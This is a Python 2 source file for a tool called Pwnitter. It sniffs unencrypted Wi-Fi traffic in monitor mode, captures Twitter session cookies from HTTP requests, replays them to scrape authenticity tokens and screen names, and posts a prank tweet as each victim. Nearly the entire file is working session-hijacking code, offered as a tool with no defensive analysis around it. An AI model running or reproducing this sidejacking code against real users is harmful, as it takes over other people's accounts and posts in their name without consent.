fixup: make pcap read from the file
[pwnitter] / pwnitter.py
1 #!/usr/bin/env python
2 # On Linux (as root):
3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 #  * ./idiocy.py -i mon0
6             
7 import dbus.service
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
10 import logging
11 import socket
12 import time
13 import gobject
14 import select
15 import subprocess
16
17 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
18
19 def usage(): 
20     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
21     sys.exit(1)
22
23 NAME = 'de.cryptobitch.muelli.Pwnitter'
24
25 class Pwnitter(dbus.service.Object):
26     def __init__(self, bus, object_name, device='mon0'):
27         super(Pwnitter, self).__init__(bus, object_name)
28         self.device = device
29         
30         self.status = status
31         self.is_running = False
32
33     def setup_monitor(device='mon0'):
34         # FIXME: Replace hardcoded interface 
35         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
36         subprocess.call(cmd)
37         cmd = '/sbin/ifconfig mon0 up'.split()
38         subprocess.call(cmd)
39     
40     @dbus.service.method(NAME,
41                          in_signature='', out_signature='')
42     def Start(self, filename=None):
43         # FIXME: Prevent double Start()
44         if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
45             self.setup_monitor(device)
46             device = self.device
47         else: # We have given a filename, so let's make PCap read from the file
48             device = filename
49         self.is_running = True
50         try:
51             self.cap = pcap.pcap(device)
52         except OSError, e:
53             print "Error setting up %s" % device
54             raise e
55         self.cap.setfilter('dst port 80')
56         cap_fileno = self.cap.fileno()
57         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
58
59     @dbus.service.method(NAME,
60                          in_signature='s', out_signature='')
61     def StartFromFile(self, filename):
62         return self.Start(filename=filename)
63
64     
65     def cap_readable_callback(self, source, condition, device):
66         return self.pwn(device, self.MessageSent)
67         
68     @dbus.service.signal(NAME)
69     def MessageSent(self, who):
70         print "Emitting MessageSent"
71         return who
72         return False
73         pass
74
75     @dbus.service.method(NAME,
76                          in_signature='s', out_signature='')
77     def SetMessage(self, message):
78         self.status = message
79         
80     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
81                          in_signature='', out_signature='s')
82     def GetMessage(self):
83         return self.status
84
85
86     def tear_down_monitor(device='mon0'):
87         cmd = '/sbin/ifconfig mon0 down'.split()
88         subprocess.call(cmd)
89         cmd = '/usr/sbin/iw dev mon0 del'.split()
90         subprocess.call(cmd)
91     
92     @dbus.service.method(NAME,
93                          in_signature='', out_signature='')
94     def Stop(self):
95         self.is_running = False
96         print "Receive Stop"
97         gobject.source_remove(self.source_id)
98         self.tear_down_monitor(self.device)
99         loop.quit()
100
101
102     def pwn(self, device, tweeted_callback=None):
103         processed = {}
104         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
105             ts, raw = self.cap.next()
106             eth = dpkt.ethernet.Ethernet(raw)
107             #print 'got a packet'  
108             # Depending on platform, we can either get fully formed packets or unclassified radio data
109             if isinstance(eth.data, str):
110                 data = eth.data
111             else:
112                 data = eth.data.data.data
113
114             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
115             if hostMatches:
116                 print 'Host matched'
117                 host = hostMatches.group(1)
118
119                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
120                 if cookieMatches:
121                     cookie = cookieMatches.group(1)
122
123                     headers = {
124                         "User-Agent": "Mozilla/5.0",
125                         "Cookie": cookie,
126                     }
127                     
128                     conn = httplib.HTTPSConnection(host)
129                     try:
130                         conn.request("GET", "/", None, headers)
131                     except socket.error, e:
132                         print e
133                     else:
134                         response = conn.getresponse()
135                         page = response.read()
136
137                         # Newtwitter and Oldtwitter have different formatting, so be lax
138                         authToken = ''
139
140                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
141                         if formMatches:
142                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
143
144                             if authMatches:
145                                 authToken = authMatches.group(1)
146
147                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
148                         if not nameMatches:
149                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
150
151                         name = ''
152                         if nameMatches:
153                             name = nameMatches.group(1)
154
155
156                         # We don't want to repeatedly spam people
157                         # FIXME: What the fuck logic. Please clean up
158                         if not ((not name and host != 'mobile.twitter.com') or name in processed):
159                             headers = {
160                                 "User-Agent": "Mozilla/5.0",
161                                 "Accept": "application/json, text/javascript, */*",
162                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
163                                 "X-Requested-With": "XMLHttpRequest",
164                                 "X-PHX": "true",
165                                 "Referer": "http://api.twitter.com/p_receiver.html",
166                                 "Cookie": cookie
167                             }
168
169
170                             print 'Issueing connection'
171                             if host == 'mobile.twitter.com':
172
173                                 params = urllib.urlencode({
174                                     'tweet[text]': self.status,
175                                     'authenticity_token': authToken
176                                 })
177
178                                 conn = httplib.HTTPConnection("mobile.twitter.com")
179                                 conn.request("POST", "/", params, headers)
180
181                             else:
182
183                                 params = urllib.urlencode({
184                                     'status': self.status,
185                                     'post_authenticity_token': authToken
186                                 })
187
188                                 conn = httplib.HTTPConnection("api.twitter.com")
189                                 conn.request("POST", "/1/statuses/update.json", params, headers)
190
191
192                             response = conn.getresponse()
193                             print 'Got response: %s' % response.status
194                             if response.status == 200 or response.status == 302 or response.status == 403:
195
196                                 if name:
197                                     processed[name] = 1
198
199                                 # 403 is a dupe tweet
200                                 if response.status != 403:
201                                     print "Successfully tweeted as %s" % name
202                                     print 'calling %s' % tweeted_callback
203                                     if tweeted_callback:
204                                         tweeted_callback(name)
205                                 else:
206                                     print 'Already tweeted as %s' % name
207
208                             else:
209
210                                 print "FAILED to tweet as %s, debug follows:" % name
211                                 print response.status, response.reason
212                                 print response.read() + "\n"
213         return self.is_running # Execute next time, we're idle
214     # FIXME: Ideally, check     whether Pcap has got data for us
215
216 def main():
217
218     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
219     device = None
220     for o, a in opts:
221         if o == '-i':
222             device = a
223         else:
224             usage()
225     #pwn(device)
226
227
228
229 if __name__ == '__main__':
230     from optparse import OptionParser
231     parser = OptionParser("usage: %prog [options]")
232     parser.add_option("-l", "--loglevel", dest="loglevel", 
233                       help="Sets the loglevel to one of debug, info, warn, error, critical")
234     parser.add_option("-s", "--session", dest="use_session_bus",
235                       action="store_true", default=False,
236                       help="Bind Pwnitter to the SessionBus instead of the SystemBus")
237     (options, args) = parser.parse_args()
238     loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
239                 'warn': logging.WARN, 'error': logging.ERROR,
240                 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
241     logging.basicConfig(level=loglevel)
242     log = logging.getLogger("Main")
243
244     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
245
246     if options.use_session_bus:
247         session_bus = dbus.SessionBus()
248     else:
249         session_bus = dbus.SystemBus()
250     name = dbus.service.BusName(NAME, session_bus)
251     pwnitter = Pwnitter(session_bus, '/Pwnitter')
252     #object.Start()
253
254     loop = gobject.MainLoop()
255     print "Running example signal emitter service."
256     # FIXME: This is debug code
257     #gobject.idle_add(pwnitter.MessageSent)
258     
259     loop.run()
260     print "Exiting for whatever reason"
261     #main()